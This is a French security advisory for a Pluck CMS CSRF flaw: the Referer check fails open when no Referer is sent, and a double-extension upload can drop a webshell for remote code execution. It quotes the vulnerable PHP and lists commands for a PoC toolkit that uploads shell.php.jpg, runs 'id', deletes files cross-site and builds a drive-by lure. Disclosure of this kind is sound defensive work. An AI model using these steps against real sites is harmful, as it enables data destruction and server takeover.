
Avis de sécurité et PoC Python pour Pluck CMS CSRF : une vérification du Referer en fail-open associée à un téléversement à double extension permet le déploiement d'un webshell et l'exécution de code à distance.
Une seule visite de page d'un administrateur supprime du contenu, injecte des pages et dépose un webshell
En bref · Résumé · Cause racine · Chaîne d'attaque · Exploit · Remédiation · Chronologie
Le panneau d'administration de Pluck ne comporte aucun jeton CSRF par requête, nulle part dans le code.
Chaque action d'administration modifiant l'état est protégée par une seule fonction,
requestedByTheSameDomain(), dont la seule défense est une comparaison de l'hôte du Referer
— et cette vérification échoue en mode fail-open : lorsqu'une requête arrive sans en-tête
Referer du tout, la fonction renvoie true et l'action est autorisée.
Comme une page attaquante contrôle entièrement l'envoi ou non d'un Referer
(<meta name="referrer" content="no-referrer">), tout administrateur connecté qui
visite une page malveillante peut être contraint d'exécuter des actions privilégiées en cross-site.
Plusieurs actions destructrices s'exécutent en GET, et Pluck ne définit aucun attribut
SameSite sur PHPSESSID (les navigateurs appliquent SameSite=Lax, qui est tout de même transmis
lors des navigations GET de premier niveau). Elles sont donc accessibles en cross-site avec les
paramètres de navigateur par défaut.
Une faiblesse secondaire du filtre de téléversement permet au même CSRF de déposer un
fichier à double extension shell.php.jpg — transformant le CSRF en RCE par drive-by
sur les hôtes Apache/mod_php.
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
Une requête cross-site avec un Referer étranger est correctement rejetée (branche
else), ce qui crée une fausse impression de protection — mais l'attaquant se contente
de supprimer le Referer, atteint la branche fail-open, et la requête est autorisée.
Aucune couche de jeton ne vient derrière cette vérification.
Le contrôle est appliqué une seule fois dans admin.php et fait foi pour l'intégralité du
switch d'actions :
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite sur le cookie de session (amplificateur)Pluck n'appelle jamais session_set_cookie_params(), donc PHPSESSID hérite de la valeur
par défaut vide → les navigateurs appliquent SameSite=Lax, qui est tout de même transmis
lors des navigations GET de premier niveau. Les actions exposées en GET (deletefile,
deleteimage, deletepage, module_delete, theme_delete, logout) sont donc
forgeables en une seule visite de page.
data/inc/images.php (amplificateur RCE)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
Les deux vérifications sont trivialement contournables :
$_FILES[...]['type']) → définir image/jpeg ;shell.php.jpg
se termine par .jpg et passe.Le fichier est écrit dans images/shell.php.jpg ; sur un hôte Apache/mod_php avec
gestion des extensions multiples, il s'exécute en PHP.
Une seule visite de page d'un administrateur authentifié — aucun clic.
flowchart LR
A[Admin logged into Pluck] --> B[Opens attacker page]
B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
C --> D[Top-level nav / auto-form to admin.php]
D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruction / DoS]
F --> G2[editpage -> stored-content injection]
F --> G3["images upload -> shell.php.jpg -> RCE"]
Les actions forgeables incluent :
Une boîte à outils PoC fonctionnelle se trouve dans exploit/ :
pluck_csrf_rce.py — prouver la logique fail-open, téléverser un webshell par CSRF et
exécuter des commandes, supprimer des fichiers par CSRF, ou générer un leurre.csrf_poc.html — la page drive-by autonome livrée à un administrateur victime.pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
Les requêtes Python envoient délibérément aucun Referer, reproduisant exactement un
navigateur victime soumis à une politique no-referrer. Une asymétrie au niveau HTTP qui
confirme la logique :
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️ L'étape
.php.jpg→ RCE nécessite un hôte Apache/mod_php qui exécute les fichiers à extensions multiples via PHP. Si cela n'est pas configuré, le téléversement CSRF réussit quand même et les primitives destructricesdelete/deletepagene sont pas affectées — le CSRF est le bug principal ; la RCE est l'amplificateur.
Referer/Origin absent comme non fiable. Privilégiez l'en-tête
Origin et rejetez la requête lorsqu'il est manquant ou ne correspond pas.deletefile, deletepage, logout, etc.
en POST afin que SameSite=Lax fournisse une protection de base.SameSite=Strict (ou Lax), HttpOnly
et Secure via session_set_cookie_params().| Date |
|---|
Ce contenu est publié à des fins éducatives et défensives et uniquement pour des tests de sécurité autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Découvert & documenté par @IlhomjonR · CVE-2026-70376 · PT-2026-68036
| Identifiant CVE | CVE-2026-70376 |
| Identifiant de suivi | PT-2026-68036 |
| Produit | pluck-cms/pluck — Pluck CMS (PHP à fichiers plats) |
| Versions affectées | 4.7.x jusqu'à 4.7.21-dev / master actuel |
| Faiblesse | CWE-352 (CSRF) · CWE-434 (téléversement sans restriction, amplificateur) |
| CVSS v3.1 | 8.0 — Élevée · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| Vecteur | Réseau · aucun privilège · une visite de page d'administrateur (UI:R) |
| Impact | Destruction de contenu/DoS, injection de contenu stocké, RCE sur Apache/mod_php |
| Introduction | commit f79f916 (déc. 2019) — logique vulnérable présente depuis |
| Chercheur | Ilhomjon Rustamov (@IlhomjonR) |
| Action | Méthode | Impact |
|---|
admin.php?action=deletefile&var1=<f> | GET | Supprime un fichier téléversé arbitraire |
admin.php?action=deletepage&... | GET | Supprime les pages du site (DoS) |
admin.php?action=module_delete&... | GET | Retire des modules |
admin.php?action=logout | GET | Déconnecte l'administrateur |
admin.php?action=editpage | POST | Injecte du contenu de page stocké |
admin.php?action=images (téléversement) | POST | Dépose shell.php.jpg → RCE |
| Événement |
|---|
| 2019-12 | Logique vulnérable requestedByTheSameDomain() introduite (f79f916) |
| 2026-07-08 | Découverte lors d'un audit du code source ; PoC de bout en bout vérifié |
| 2026-08-10 | Avis de sécurité rédigé (PT-2026-68036) |
| 2026-08-12 | CVE-2026-70376 attribuée ; avis + PoC publiés |